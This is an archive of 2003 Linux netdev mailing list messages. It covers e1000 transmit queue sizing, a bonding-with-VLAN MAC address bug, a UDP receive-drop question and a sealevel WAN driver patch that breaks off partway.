Organization: jamalopolis Message-Id: <1063625359.1075.46.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 15 Sep 2003 07:29:19 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5911 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Fri, 2003-09-12 at 14:12, Ben Greear wrote: > > > > Well, theres only one way out that device ;-> and it goes out at a max > > rate of Gige. If you have sustained incoming rates from the CPU(s) of > > greater than Gige, then you are fucked anyways and you are better to > > drop at the scheduler queue. > > I have seen greater packets-per-second throughput when I increase > the TxDescriptor > ring (and RxDescriptor ring) when using pktgen, which checks for enqueue > errors > and re-queues as needed. So, it could help the case where we are running > at very high sustained speeds (or high packets-per-second rates). > Have you tried increasing the s/ware queue instead?;-> Thats been mentioned in about the last 10 posts. Even though you care about what you refer as "very high sustained speeds" type of apps, others may not. Infact i think the majority may not: Think of that poor ssh login packet queued in behind 999 ftp packets in the s/ware queue which is also above another 1000 ftp packets in the TX DMA path. Whatever happened to good engineering such as the post from Donald? > >>I flunked that queuing theory class anyway, so what do I know? Every > >>time I get stuck in a traffic slug on the freeway, I think about that > >>class. Hey, that means my car is like an skb, so maybe longer roads > >>would help? Not! > > > > > > > > Note we do return an indication that the packet was dropped. What you do > > with that information is relative. TCP makes use of it in the kernel > > which makes sense. UDP congestion control is mostly under the influence > > of the UDP app in user space. The impedance between user space and > > kernel makes that info useless to the UDP app especially in cases when > > the system is overloaded (which is where this matters most). This is of > > course theory and someone who really wants to find out should > > experiment. I would be pleasantly shocked if it turned out the info to > > the UDP app was useful. An interesting thing to try , which violates > > UDP, is to have UDP requeue a packet back to the socket queue in the > > kernel everytime an indication is received that the scheduler queue > > dropped the packet. User space by virtue of UDP sock queue not emptying > > should find out soon and slow down. > > Um, I doubt the UDP protocol says you MUST drop packets when you reach > congestion...it just says that you _CAN_ drop the packet. Which UDP spec did you read?;-> Try to do voice or any "realtime" apps which use UDP precisely because it doesnt do what you described > Slowing > down user-space is exactly what you want to do in this case because it > saves user-space CPU, and it saves the user-space program from having > to deal (so often) with dropped packets. > > > Already, if the socket queue is full, poll/select will block, you'll get > -EBUSY returned, and/or your application will block on a wait queue.... > Any of these allow the user space program to immediately back off, > saving the whole system work. > [handwaving deleted] Why dont you try an experiment to show that you can pass the signal to user space? > > > > To give anology to your car, if you only find out half way later that > > there was a red light a few meters back then that info is useless. If > > you dont get hit and reverse you may find that infact the light has > > turned to green which is again useless ;-> > > So much better to have stopped the car earlier and kept him out of the > intersection in the first place :) > Try that experiment friend and see if you could have stopped the car in time;-> cheers, jamal From hadi@cyberus.ca Mon Sep 15 04:38:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 04:38:25 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FBcIYa020644 for ; Mon, 15 Sep 2003 04:38:18 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19yrgP-000ODE-00; Mon, 15 Sep 2003 07:38:17 -0400 Subject: RE: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: Donald Becker Cc: "Feldman, Scott" , Jeff Garzik , netdev@oss.sgi.com, ricardoz@us.ibm.com In-Reply-To: References: Content-Type: text/plain Organization: jamalopolis Message-Id: <1063625865.1077.56.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 15 Sep 2003 07:37:45 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5912 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Fri, 2003-09-12 at 11:29, Donald Becker wrote: > Remember the purpose of the driver (hardware) Tx queue. > It should be the minimum size consistent with > Keeping the wire busy(1) when we have queued packets > Cache locality(2) when queueing Tx packets > Allowing interrupt mitigation > It is *not* supposed to act as an additional buffer in the system. > Unlike the queue layer, it cannot be changed dynamically, classify > packets, re-order based on priority or do any of the future clever > improvements possible with the general-purpose, device-independent > software queue. > > (1) A short gap with atypical traffic is entirely acceptable > > (2) Cache locality isn't important because we need local performance. It's > important to minimize cache line displacement for the rest of the > system, especially the application. Dont know how much time you have, but this would be a good paper if you wrote one. Since you already have gathered data "in the days when CPUs were slow", you can complement it with newer data. If you dont have time, i am sure there are people who will be interested in collecting data for you. cheers, jamal From hadi@cyberus.ca Mon Sep 15 05:12:46 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 05:12:58 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FCCjYa021910 for ; Mon, 15 Sep 2003 05:12:46 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19ysDf-0001UO-00; Mon, 15 Sep 2003 08:12:40 -0400 Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: Robert Olsson Cc: "David S. Miller" , greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com In-Reply-To: <16227.1284.893748.365713@robur.slu.se> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> <20030912204947.5267e3aa.davem@redhat.com> <16227.1284.893748.365713@robur.slu.se> Content-Type: text/plain Organization: jamalopolis Message-Id: <1063627928.1075.66.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 15 Sep 2003 08:12:08 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 5913 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Sat, 2003-09-13 at 07:52, Robert Olsson wrote: > > > > I spoke with Alexey once about this, actually tx_queue_len can > > be arbitrarily large but it should be reasonable nonetheless. > > > > Our preliminary conclusions were that values of 1000 for 100Mbit and > > faster were probably appropriate. Maybe something larger for 1Gbit, > > who knows. If you recall we saw that even for the gent who was trying to do 100K TCP sockets on a 4 way SMP, 1000 was sufficient and no packets were dropped. > > > > We also determined that the only connection between TX descriptor > > ring size and dev->tx_queue_len was that the latter should be large > > enough to handle, at a minimum, the amount of pending TX descriptor > > ACKs that can be pending considering mitigation et al. > > > > So if TX irq mitigation can defer up to N TX descriptor completions > > then dev->tx_queue_len must be at least that large. > > > > Back to the main topic, maybe we should set dev->tx_queue_len to > > 1000 by default for all ethernet devices. > > Hello! > > Yes sounds like adequate setting for GIGE. This is what use for production > and lab but rather than increasing dev->tx_queue_len to 1000 we replace the > pfifo_fast with the pfifo qdisc w. setting a qlen of 1000. > I think this may not be good for the reason of QoS. You want BGP packets to be given priority over ftp. A single queue kills that. The current default 3 band queue is good enough, the only challenge being noone sees stats for it. I have a patch for the kernel at: http://www.cyberus.ca/~hadi/patches/restore.pfifo.kernel and for tc at: http://www.cyberus.ca/~hadi/patches/restore.pfifo.tc cheers, jamal From shmulik.hen@intel.com Mon Sep 15 06:42:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 06:42:25 -0700 (PDT) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FDgFYa024633 for ; Mon, 15 Sep 2003 06:42:16 -0700 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by hermes.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8FDbQS2028437 for ; Mon, 15 Sep 2003 13:37:26 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8FDYHH26873 for ; Mon, 15 Sep 2003 13:34:17 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091506420603436 ; Mon, 15 Sep 2003 06:42:08 -0700 Content-Type: text/plain; charset="us-ascii" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Problems using bonding with vlan Date: Mon, 15 Sep 2003 16:42:05 +0300 User-Agent: KMail/1.4.3 Cc: amir.noam@intel.com, shmulik.hen@intel.com, tsippy.mendelson@intel.com, naom.marom@intel.com MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309151632.59915.shmulik.hen@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5914 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Hi, Consider the following scenario: # insmod # insmod 8021q # insmod bonding mode=X miimon=Y # vconfig add bond0 10 # ifenslave bond0 eth0 eth1 ... # ifconfig bond0.10 a.b.c.d Now try to run ping - no traffic. Arp tables on all clients show that the server has hardware address 00:00:00:00:00:00 ! The only way for it to work is: # ifenslave bond0 eth0 eth1 ... # vconfig add bond0 10 # ifconfig bond0.10 a.b.c.d But that's probably not the way things happen during boot via the network scripts. I think we should add to the 8021q module the ability to listen to netdev events and to set it's hardware address whenever the underlying device changes it own, instead of just during the VLAN interface creation. Comments ? -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From Robert.Olsson@data.slu.se Mon Sep 15 06:46:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 06:46:18 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FDkDYa025074 for ; Mon, 15 Sep 2003 06:46:14 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3p2/8.9.3) id PAA25238; Mon, 15 Sep 2003 15:45:42 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16229.49798.506152.832140@robur.slu.se> Date: Mon, 15 Sep 2003 15:45:42 +0200 To: hadi@cyberus.ca Cc: Robert Olsson , "David S. Miller" , greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default In-Reply-To: <1063627928.1075.66.camel@jzny.localdomain> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> <20030912204947.5267e3aa.davem@redhat.com> <16227.1284.893748.365713@robur.slu.se> <1063627928.1075.66.camel@jzny.localdomain> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 5915 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev jamal writes: > I think this may not be good for the reason of QoS. You want BGP packets > to be given priority over ftp. A single queue kills that. Well so far single queue has been robust enough for BGP-sessions. Talking from own experiences... > The current default 3 band queue is good enough, the only challenge > being noone sees stats for it. I have a patch for the kernel at: > http://www.cyberus.ca/~hadi/patches/restore.pfifo.kernel > and for tc at: > http://www.cyberus.ca/~hadi/patches/restore.pfifo.tc Yes. I've missed this. Our lazy work-around for the missing stats is to install pfifo qdisc as said. IMO it should be included. Cheers. --ro From tsippy.mendelson@intel.com Mon Sep 15 07:18:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 07:19:06 -0700 (PDT) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FEIsYa026439 for ; Mon, 15 Sep 2003 07:18:56 -0700 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8FEDGp16294 for ; Mon, 15 Sep 2003 14:13:16 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8FELxD14585 for ; Mon, 15 Sep 2003 14:21:59 GMT Received: from hasmsx331.ger.corp.intel.com ([143.185.63.144]) by hasmsxvs01.iil.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091517183817816 ; Mon, 15 Sep 2003 17:18:38 +0300 Received: from hasmsx403.ger.corp.intel.com ([143.185.63.109]) by hasmsx331.ger.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 15 Sep 2003 17:18:39 +0300 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: Problems using bonding with vlan Date: Mon, 15 Sep 2003 17:18:37 +0300 Message-ID: <2C83850C013A2540861D03054B478C0602012044@hasmsx403.iil.intel.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Problems using bonding with vlan Thread-Index: AcN7jzBMbiTZaow9Sf+E9aRfza0qDgAAxI5w From: "Mendelson, Tsippy" To: "Hen, Shmulik" , , Cc: "Noam, Amir" , X-OriginalArrivalTime: 15 Sep 2003 14:18:39.0212 (UTC) FILETIME=[422CE2C0:01C37B94] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8FEIsYa026439 X-archive-position: 5916 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: tsippy.mendelson@intel.com Precedence: bulk X-list: netdev Another option would be that the bond be vlan challenged until the first slave is added to the team. I do not like the idea of the vlan module listening to netdev events and updating its mac address accordingly since in my opinion the proper way is to have the settings of the slave change according to the master's and not the opposite i.e. once a user configures a vlan interface over a device he should not be changing the device settings but rather propagating the settings down from the vlan interface (as we do for bond masters and slaves). As for the boot problem, we would have to find a way to get the vlans to come up only after the slaves (but not lexicographically dependant) Tsippy -----Original Message----- From: Hen, Shmulik Sent: Monday, September 15, 2003 4:42 PM To: bonding-devel@lists.sourceforge.net; netdev@oss.sgi.com Cc: Noam, Amir; Hen, Shmulik; Mendelson, Tsippy; naom.marom@intel.com Subject: Problems using bonding with vlan Hi, Consider the following scenario: # insmod # insmod 8021q # insmod bonding mode=X miimon=Y # vconfig add bond0 10 # ifenslave bond0 eth0 eth1 ... # ifconfig bond0.10 a.b.c.d Now try to run ping - no traffic. Arp tables on all clients show that the server has hardware address 00:00:00:00:00:00 ! The only way for it to work is: # ifenslave bond0 eth0 eth1 ... # vconfig add bond0 10 # ifconfig bond0.10 a.b.c.d But that's probably not the way things happen during boot via the network scripts. I think we should add to the 8021q module the ability to listen to netdev events and to set it's hardware address whenever the underlying device changes it own, instead of just during the VLAN interface creation. Comments ? -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From cfriesen@nortelnetworks.com Mon Sep 15 07:22:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 07:22:58 -0700 (PDT) Received: from zcars04e.nortelnetworks.com (zcars04e.nortelnetworks.com [47.129.242.56]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FEMrYa026858 for ; Mon, 15 Sep 2003 07:22:54 -0700 Received: from zcard307.ca.nortel.com (americasm07.nt.com [47.129.242.67]) by zcars04e.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h8FEMgZ03158; Mon, 15 Sep 2003 10:22:42 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard307.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZXGT6FJ; Mon, 15 Sep 2003 10:22:42 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZWMRQ3N; Mon, 15 Sep 2003 10:22:42 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 851162D957; Mon, 15 Sep 2003 10:22:40 -0400 (EDT) Message-ID: <3F65CB30.9040003@nortelnetworks.com> Date: Mon, 15 Sep 2003 10:22:40 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: Harald Welte Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: firewalling PPPOE stream without terminating it References: <3F61D8E4.6020309@nortelnetworks.com> <20030915101826.GH777@obroa-skai.de.gnumonks.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5917 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev Harald Welte wrote: > So how is this question related to either > 1) network development (netdev@oss.sgi.com) > 2) linux-kernel development (linux-kernel@vger.kernel.org) > > I would like to ask you this question at an apropriate mailinglist > (netfilter@lists.netfilter.org, or the lartc mailinglist Sorry, my bad. Thread continued on other list as suggested. Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From lxu2@unity.ncsu.edu Mon Sep 15 07:31:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 07:32:03 -0700 (PDT) Received: from uni03mr.unity.ncsu.edu (uni03mr.unity.ncsu.edu [152.1.1.166]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FEVwYa027416 for ; Mon, 15 Sep 2003 07:31:59 -0700 Received: from localhost (localhost [127.0.0.1]) by uni03mr.unity.ncsu.edu (8.12.9/8.12.9/N.20030820.01) with ESMTP id h8FEVurD000021; Mon, 15 Sep 2003 10:31:57 -0400 (EDT) Received: from uni03mr.unity.ncsu.edu ([127.0.0.1]) by localhost (uni03mr.unity.ncsu.edu [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29977-04; Mon, 15 Sep 2003 10:31:56 -0400 (EDT) Received: from nanegrc (old-computer.csc.ncsu.edu [152.14.51.140]) by uni03mr.unity.ncsu.edu (8.12.9/8.12.9/N.20030820.01) with SMTP id h8FEVuDt000013; Mon, 15 Sep 2003 10:31:56 -0400 (EDT) Message-ID: <00ff01c37b96$9ddb4650$8c330e98@nanegrc> From: "Lisong Xu" To: , Subject: Intel PRO/1000 NIC Date: Mon, 15 Sep 2003 10:35:31 -0400 Organization: NC State University MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-MIME-Autoconverted: from 8bit to quoted-printable by uni03mr.unity.ncsu.edu id h8FEVurD000021 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8FEVwYa027416 X-archive-position: 5918 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lxu2@unity.ncsu.edu Precedence: bulk X-list: netdev Hello, I am sending UDP data from one PC to another PC directly through a cross cable. The NIC of sender is Intel® PRO/1000 MT Server Adapter, and the NIC of receiver is on-board Intel PRO/1000 (Dell PowerEdge 1600SC). After tuning the kernel and driver parameters, the sender can send data at 1Gbps. But the receiver can only receive data at 620Mbps. (see the following ifconfig messages, 30 seconds test) *********** Sender ******************* eth1 Link encap:Ethernet HWaddr 00:07:E9:17:84:36 inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:9000 Metric:1 RX packets:111 errors:0 dropped:0 overruns:0 frame:0 TX packets:418072 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:30000 RX bytes:26193 (25.5 Kb) TX bytes:3759596626 (3585.4 Mb) Interrupt:24 Base address:0xccc0 Memory:fcd00000-fcd20000 **************Receiver*********************** eth0 Link encap:Ethernet HWaddr 00:C0:9F:1E:3A:46 inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:9000 Metric:1 RX packets:261355 errors:156688 dropped:156688 overruns:156688 frame:0 <---- Look here!!!!! TX packets:97 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:30000 RX bytes:2350019728 (2241.1 Mb) TX bytes:22821 (22.2 Kb) Interrupt:11 Base address:0xecc0 Memory:fe100000-fe120000 *************************************************** My questions is why so many packets are "errors, dropped, overruns". I have adjusted the "TxDescriptors, RxDescriptors, RxIntDelay, RxAbsIntDelay, TxIntDelay, TxAbsIntDelay" for different values, but always got similar result. Maybe here is not the right email list to send, but I am really frustrated with this problems, and hope to get some suggestions from the experts here.Any suggestion is really appreciated! Lisong From greearb@candelatech.com Mon Sep 15 09:59:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 09:59:11 -0700 (PDT) Received: from grok.yi.org (evrtwa1-ar2-4-35-048-180.evrtwa1.dsl-verizon.net [4.35.48.180]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FGx6Ya003107 for ; Mon, 15 Sep 2003 09:59:07 -0700 Received: from candelatech.com (localhost.localdomain [127.0.0.1]) by grok.yi.org (8.12.8/8.12.8) with ESMTP id h8FGwpDx003245; Mon, 15 Sep 2003 09:58:52 -0700 Message-ID: <3F65EFCB.5050500@candelatech.com> Date: Mon, 15 Sep 2003 09:58:51 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5b) Gecko/20030827 X-Accept-Language: en-us, en MIME-Version: 1.0 To: shmulik.hen@intel.com CC: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, amir.noam@intel.com, tsippy.mendelson@intel.com, naom.marom@intel.com Subject: Re: Problems using bonding with vlan References: <200309151632.59915.shmulik.hen@intel.com> In-Reply-To: <200309151632.59915.shmulik.hen@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5919 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Shmulik Hen wrote: > I think we should add to the 8021q module the ability to listen to > netdev events and to set it's hardware address whenever the > underlying device changes it own, instead of just during the VLAN > interface creation. One can also change the VLAN MAC address at any time with 'ip' or 'ifconfig', just like regular ethernet devices. So, the startup script could easily rectify things if needed (VLAN device will put it's underlying device into promisc or multicast mode if needed). The VLAN code does listen for net-events already, so if you wanted to change when the VLAN MAC is 0:0....0, then that might be friendlier to the user, but please do NOT change the MAC if it is already set to something non zero. Ben -- Ben Greear Candela Technologies Inc http://www.candelatech.com From shemminger@osdl.org Mon Sep 15 11:31:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 11:31:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FIVsYa005882 for ; Mon, 15 Sep 2003 11:31:55 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8FIVLo05469; Mon, 15 Sep 2003 11:31:21 -0700 Date: Mon, 15 Sep 2003 11:31:01 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] sealevel wan driver Message-Id: <20030915113101.544264af.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5920 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Update sealevel driver to match current net_device interface: - dynamically allocate netdevice and private data. - get rid of MOD_INC/DEC - if_ptr not used - bugfix: not all of board structure was being zeroed. Note: this driver still doesn't probe() correctly since it just assumes that if loaded the hardware is there! Since I don't have one of these boards... tested it by #ifdef'ing out all the bits that touch actual hardware. --- linux-2.5/drivers/net/wan/sealevel.c 2003-06-05 10:04:38.000000000 -0700 +++ linux-2.5-net/drivers/net/wan/sealevel.c 2003-09-15 11:28:36.031889622 -0700 @@ -31,7 +31,6 @@ struct slvl_device { - void *if_ptr; /* General purpose pointer (used by SPPP) */ struct z8530_channel *chan; struct ppp_device netdev; int channel; @@ -40,7 +39,7 @@ struct slvl_device struct slvl_board { - struct slvl_device dev[2]; + struct slvl_device *dev[2]; struct z8530_dev board; int iobase; }; @@ -119,7 +118,6 @@ static int sealevel_open(struct net_devi * Go go go */ netif_start_queue(d); - MOD_INC_USE_COUNT; return 0; } @@ -153,7 +151,6 @@ static int sealevel_close(struct net_dev z8530_sync_close(d, slvl->chan); break; } - MOD_DEC_USE_COUNT; return 0; } @@ -202,48 +199,79 @@ static int sealevel_neigh_setup_dev(stru return 0; } + +static void slvl_setup(struct net_device *d) +{ + d->open = sealevel_open; + d->stop = sealevel_close; + d->hard_start_xmit = sealevel_queue_xmit; + d->get_stats = sealevel_get_stats; + d->set_multicast_list = NULL; + d->do_ioctl = sealevel_ioctl; + d->neigh_setup = sealevel_neigh_setup_dev; + d->set_mac_address = NULL; + +} + +static inline struct slvl_device *slvl_alloc(int iobase, int irq) +{ + struct net_device *d; + struct slvl_device *sv; + + d = alloc_netdev(sizeof(struct slvl_device), "hdlc%d", + slvl_setup); + + if (!d) + return NULL; + + sv = d->priv; + sv->netdev.dev = d; + d->base_addr = iobase; + d->irq = irq; + + sppp_attach(&sv->netdev); + return sv; +} + + /* - * Description block for a Comtrol Hostess SV11 card + * Allocate and setup Sealevel board. */ -static struct slvl_board *slvl_init(int iobase, int irq, int txdma, int rxdma, int slow) +static __init struct slvl_board *slvl_init(int iobase, int irq, + int txdma, int rxdma, int slow) { struct z8530_dev *dev; - struct slvl_device *sv; struct slvl_board *b; - int u; /* * Get the needed I/O space */ - + if(!request_region(iobase, 8, "Sealevel 4021")) { printk(KERN_WARNING "sealevel: I/O 0x%X already in use.\n", iobase); return NULL; } - b=(struct slvl_board *)kmalloc(sizeof(struct slvl_board), GFP_KERNEL); + b = kmalloc(sizeof(struct slvl_board), GFP_KERNEL); if(!b) goto fail3; - - memset(b, 0, sizeof(*sv)); - b->dev[0].chan = &b->board.chanA; - b->dev[0].if_ptr = &b->dev[0].netdev; - b->dev[0].netdev.dev=(struct net_device *) - kmalloc(sizeof(struct net_device), GFP_KERNEL); - if(!b->dev[0].netdev.dev) + memset(b, 0, sizeof(*b)); + if (!(b->dev[0]= slvl_alloc(iobase, irq))) goto fail2; - b->dev[1].chan = &b->board.chanB; - b->dev[1].if_ptr = &b->dev[1].netdev; - b->dev[1].netdev.dev=(struct net_device *) - kmalloc(sizeof(struct net_device), GFP_KERNEL); - 